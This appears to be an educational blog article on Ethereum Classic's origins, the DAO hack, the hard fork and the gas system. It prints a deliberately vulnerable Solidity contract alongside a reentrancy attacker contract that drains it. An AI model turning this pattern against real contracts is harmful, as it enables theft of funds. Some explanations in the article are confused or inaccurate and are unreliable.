18
Dec
19

All you need to know about Ethereum Classic – The Ultimate Guide

The story of Ethereum vs Ethereum Classic is one that’s based on ambition, recklessness, heartbreak – and hopefully – reconciliation. Ethereum Classic and Ethereum initially used to be one single project before a hard fork split the project into two. Like Ethereum, Ethereum Classic also works on a gas mechanism to execute smart contracts. The native token of the ecosystem is ETC.

 

The origins of Ethereum Classic

 

Vitalik Buterin, a Russian-Canadian programming prodigy, created Ethereum back in 2013. While he was fascinated with Bitcoin, he felt that the blockchain technology had a lot more potential than just being a “facilitator of transactions.” He believed that the blockchain could be used to host and execute decentralized applications (dApps). That was supposed to be the core principle behind Ethereum. The blueprint that these dApps are based on is called “smart contract.”

 

 

The DAO contract

 

The DAO was a complex smart contract that was going to positioned to change Ethereum forever. The project was launched back on 30 April 2016. It was envisioned to be a decentralized venture capital fund that was going to fund all future dApps made in the ecosystem. The approval process of these dApps worked as such:

  • The dApps would need to get whitelisted by the curators, which are well-known people in Ethereum’s ecosystem.
  • Following that, users who hold DAO tokens will vote on the approved dApps.
  • Any proposal that gets a 20% approval in the vote, they will get the required funds to get started.

The entire community was super hyped about the project. Within 28 days of its formation, the DAO accumulated over $150 million worth of ether in a crowdsale. At that time, this was 14% of all the ether tokens in existence. During this whole process, some people noticed that there was a specific vulnerability in the contract. They even brought it up with The DAO’s developers, however, nobody did anything to fix the problem. Unfortunately, this very vulnerability was latched onto by the DAO hacker, who went on to launch a re-entrancy attack and steal $50 million worth of ether.

 

What is the Reentrancy attack?

 

Let’s start with the basics. What is a recursive function?

 

In programming, a program that calls itself during its execution is called a recursive function. This way, the function can repeatedly execute itself as many times as necessary to reach the desired result.

 

Typically, a non-recursive function cannot be entered into before it completes execution. However, a hacker can use the reentrancy attack to enter the function as many times as they want. If appropriately used, the hacker can drain a majority of the resources from the contract.

 

How does the attack work?

 

The following is a straightforward smart contract written by Gustavo Guimaraes. All Ethereum and Ethereum classic contract are coded using the Solidity language.

 

pragma solidity ^0.4.8;

contract HoneyPot {
mapping (address => uint) public balances;
function HoneyPot() payable {
put();
}
function put() payable {
balances[msg.sender] = msg.value;
}
function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;
}
balances[msg.sender] = 0;
}
function() {
throw;
}
}

 

Alright, we know that code can be scary, but the one written above is exceptionally straightforward. The contract above specifies two functions:

  • Storing.
  • Withdrawing.

In other words, you can use the contract to either store Ether tokens in it or withdraw Ether tokens.

 

The vulnerability in the code lies in the withdraw (get()) function. Let’s take a closer look at the code that is defining the function.

 

function get() {
if (!msg.sender.call.value(balances[msg.sender])()) {
throw;

}
balances[msg.sender] = 0;


 

What this function is doing is that it is checking if the person withdrawing the ethers has successfully received all of it or not. If the withdrawal is a success, then the function automatically sets the user’s balance as “0”.

 

However, this is where we encounter our vulnerability. What if we somehow manipulate the contract and trick it into thinking that there are still Ether tokens left to withdraw and stop it from adjusting the balance as 0?

 

Guimaraes gave an example of the following contract – named the “HoneyPotCollect” contract – which could potentially exploit the vulnerability in the HoneyPot contract.

 

pragma solidity ^0.4.8;

import “./HoneyPot.sol”;
contract HoneyPotCollect {

HoneyPot public honeypot;
function HoneyPotCollect (address _honeypot) {

honeypot = HoneyPot(_honeypot);
}
function kill () {

suicide(msg.sender);
}
function collect() payable {

honeypot.put.value(msg.value)();
honeypot.get();
}
function () payable {
if (honeypot.balance >= msg.value) {

honeypot.get();
}
}
}


 

The “kill()” function sends the ether tokens to the address that calls it and destroys the HoneyPotCollect contract.

 

Following this, the re-entrancy attack starts. The first thing to note about this attack is that it is a “two-stage” attack,

 

Stage 1 – Deposit and immediate withdrawal

 

function collect() payable {
honeypot.put.value(msg.value)();
honeypot.get();
}


 

So, what’s happening here:

 

  • Ether tokens are put into the HoneyPot contract to start things along.
  • The tokens are immediately withdrawn.

Stage 2 – Fallback function

 

function () payable {
if (honeypot.balance >= msg.value) {
honeypot.get();
}
}


 

As you can see, the fallback function doesn’t have a name. A smart contract can only have one unnamed function and it is automatically executed every time the contract receives ether tokens. Let’s look at what’s happening here:

 

  • As long as the HoneyPot balance is greater than or equal to the value that it was sent, the get function gets triggered.
  • Remember that in the first stage, we have already sent Ether to the HoneyPot contract and withdrawn it immediately.
  • The fallback function automatically keeps triggering to continue withdrawing the Ether without setting the balance to 0.

What happened in the DAO re-entrancy attack?

 

The DAO allowed its members to branch out from and create a “Child DAO” for themselves if they wanted to. The idea was that if a group of people didn’t like the way the DAO ran, they could branch off and do their own thing if they wanted to.

 

This “splitting” function happened via the following steps:

 

  • Give the user back his/her Ether in exchange of their DAO tokens.
  • Register the transaction in the ledger and update the internal token balance.

Can you guess the loophole here that the hacker exploited?

 

Yup! They introduced a recursive function before the internal token balance could be updated. The hacker created a contract that repeatedly siphoned away Ether tokens in exchange for the same amount of DAO tokens. This process continued until $50 million worth of Ether was stolen by the hacker.

 

The Aftermath

 

The price of ether dropped by nearly 35% and everyone believed that this was the end of the road for Ethereum. However, there was a small clause in the code, which stated that any of the ether taken out of the DAO will be kept in escrow, untouched for 28 days. Even though the hacker did take away $50 million worth on Ether, it was still sitting in the child DAO for 28 days. The Ethereum community had three options in front of them:

 

  • Do nothing.
  • Soft fork.
  • Hard fork.

While, the first point is pretty self-explanatory, the second and third points require one to understand what “forking means.”

 

A fork is a condition whereby the state of the blockchain diverges into chains where a part of the network has a different perspective on the history of transactions than a different part of the network. Think of it as an update to the system. If, after you update the system, it still operates the older files, then it is called a soft fork. Eg. A document made with the old MS Word will always work with the newer versions. However, a PS 1 (PlayStation 1) game will not work in PS 4 since the PS 4 is a hardfork of PS1.

 

The brilliant Andreas Antonopolous explained the differences between hard and soft fork by giving the following example:

 

“If a vegetarian restaurant would choose to add pork to their menu it would be considered to be a hard fork. if they would decide to add vegan dishes, everyone who is vegetarian could still eat vegan, you don’t have to be vegan to eat there, you could still be vegetarian to eat there and meat eaters could eat there too so that’s a soft fork.”

 

Soft fork or Hard fork?

 

Initially, the community was in favour of doing a “soft fork.”

 
This image shows how blockchains fork. One chain (here blue )follows the old rules and forks to another chain (here red), which follows the new rules. The reason for the Ethereum Hard Fork to Ethereum Classic was the DAO hack.
 

Consider the red chain to be the fork of the blue chain. If the third blue block is where the hack happened, then forking on the second block will make the third block completely irrelevant. Those who wanted this to happen can upgrade to the new chain and those who were against this could stay on the old chain. Since this is a soft fork, the two will still be able to interact with each other.

 

However, developers soon found out that doing a soft fork in this scenario will lead to a denial-of-service (DOS) attack vector. Which is why the only possible solution was a hard fork. In the case of the hard fork, the old and new chains will not be able to interact with each other. Many in the community, including Vitalik Buterin, were in favor of the original chain. This new chain would retain the “Ethereum” name and it was looked at as a fresh start after the unfortunate hack. It would allow the community to “start from 0.” However, there were a lot of people like Grayscale Investment CEO Barry Silbert and Ethereum and Cardano co-founder Charles Hoskinson who wanted to stick with the old chain. For them, this new chain is a “cop-out,” which goes against one of the very core principles of the blockchain technology – immutability. Once an action has taken place, it can’t be reversed. This old chain was named “Ethereum Classic.”

 

Smart Contracts and Gas

 

At the very heart and soul of Ethereum Classic and Ethereum lies the concept of gas. An ideal smart contract functionality should have the following three features:

 

  • Deterministic
  • Isolated.
  • Terminable.

Feature #1: Deterministic

 

Determinism is a feature wherein, provided the conditions are the same, a program will give the same output value to a given input. Mathematical operations like addition and subtraction are deterministic since they will give the same output to the same set of inputs. Eg. 1 + 1 will also give you 2 while 3 – 2 will also give you 1. Smart Contracts deal with millions of dollars worth of transactions. As such, it is imperative to accurately predict how they will react in specific scenarios.

 

Feature #2: Isolated

 

The smart contracts must work in an environment that is isolated from the rest of the ecosystem. In a global smart contract platform where developers from all over the world can run and execute their code, it is crucial to make sure that the rest of the system is safe from a potentially harmful or buggy contract.

 

Feature #3: Terminable

 

Back in 1936, the great cryptographer Alan Turing used Cantor’s Diagonal Problem to conclude that there is no way to know whether a given program can finish in time or not. This is a huge problem since a contract, be definition, needs to be able to terminate. This is why, solidity uses a halting mechanism called “gas. We will talk more about “gas” in a future section.

 

Since these three features are highly desirable, Ethereum Classic uses an “Ethereum Virtual Machine” or EVM to run and execute the smart contracts.

 

Looking deeper in to Gas

 

Gas is a unit that measures the amount of computational effort that it will take to execute certain operations. Ethereum Classic uses solidity to code its contracts. Each and every line coded using solidity requires gas usage.

 

Why use the gas system?

 

Ethereum Classic uses a proof-of-work mechanism wherein miners solve complicated cryptographic puzzles to earn the privilege of adding a block to the blockchain. The moment they do that, they have the power to add data into the blocks. To do so, they must use their computational power to execute smart contracts. The gas system allows them to charge a certain fee for doing so. This fee is also known as “miner’s fee,” incentivizes them to do these operations and actively participate in the ecosystem.

 

What is the gas limit?

 

In Ethereum Classic, the sender of a contract must specify a gas limit before submitting it to the network. The amount of gas spent to execute the contract equates to a certain amount of Ether Classic tokens, which the miner charges for their service. The gas limit is the maximum amount of gas/ether that the sender is willing to pay for this operation. The following points are considered while a gas limit is specified:

 

  • Different operations have different gas costs.
  • The moment the gas runs out, the miners will stop executing the contract.
  • If there is some gas left over, then it is refunded back to the operation generator.

This leads us to three possible scenarios:

 

  • The specified gas limit is perfect.
  • The specified gas limit is too low.
  • The specified gas limit is too high.

Let’s explore the last two scenarios.

 

Scenario #1: The gas limit is too low

 

If the gas limit is too low, then the operation stops and the smart contract reverts to its original state. However, the miners still get paid the equivalent amount of fees for their services and the operation gets logged onto the blockchain. So, if a hypothetical smart contract requires 100 units of gas, and the operation initiator specifies a gas limit of 90, the contract will immediately stop executing after 90 gas has been used up. The miners will get paid fees equivalent to 90 gas.

 

Scenario #2: The gas limit is too high

 

Now, let’s look at the other side of the equation. What if our 100-gas contract had a gas limit of 110 units set by contract sender? In that case, the contract gets executed, and the remaining 10 gas is refunded to the sender. The miners get paid fees equivalent to 100 gas.

 

Should the sender always set the gas limit too high?

 

This makes sense, right? If you are a transaction sender then might as well err on the side of caution. After all, all the extra gas is going to be refunded back to you anyway. The reason why this isn’t a bad way to go about things is that every block in Ethereum Classic is capped off by a gas size limit. As such, there are only so many contract and transaction details that you can put inside the block.

 

Now, what do you think will work in favor of the miners?

 

Put in one contract which has a huge amount of gas, of which they will need to refund the majority of the unused gas? Or put in two different contracts, which will together eat up the same amount of space but generate more fees. The second option seems more sensible, right? This is the exact reason why setting a bloated gas limit is not the smart way to go about things.

 

Ethereum Classic vs Ethereum

 
The image shows a table of facts for Ethereum and Ethereum Classic. Ethereum Classic is prone to 51% attacks, Ethereum isnt. Ethereum classics all time high was $47, Ethereum around $1400. Ethereum Classic is a hard fork of Ethereum
 

Conclusion

 

While the major Ethereum developers chose to move on to the new chain, several well-known members of the community like Barry Silbert and Charles Hoskinson have chosen to stick with Ethereum Classic. While it may not have the technological advances and clout of Ethereum, it is still an exciting project to look at and observe. Currently, Ethereum Classic is the 25th biggest coin by market cap ($446,888,725) and is priced at $3.86/coin.

 

Rajarshi Mitra
Blockchain Researcher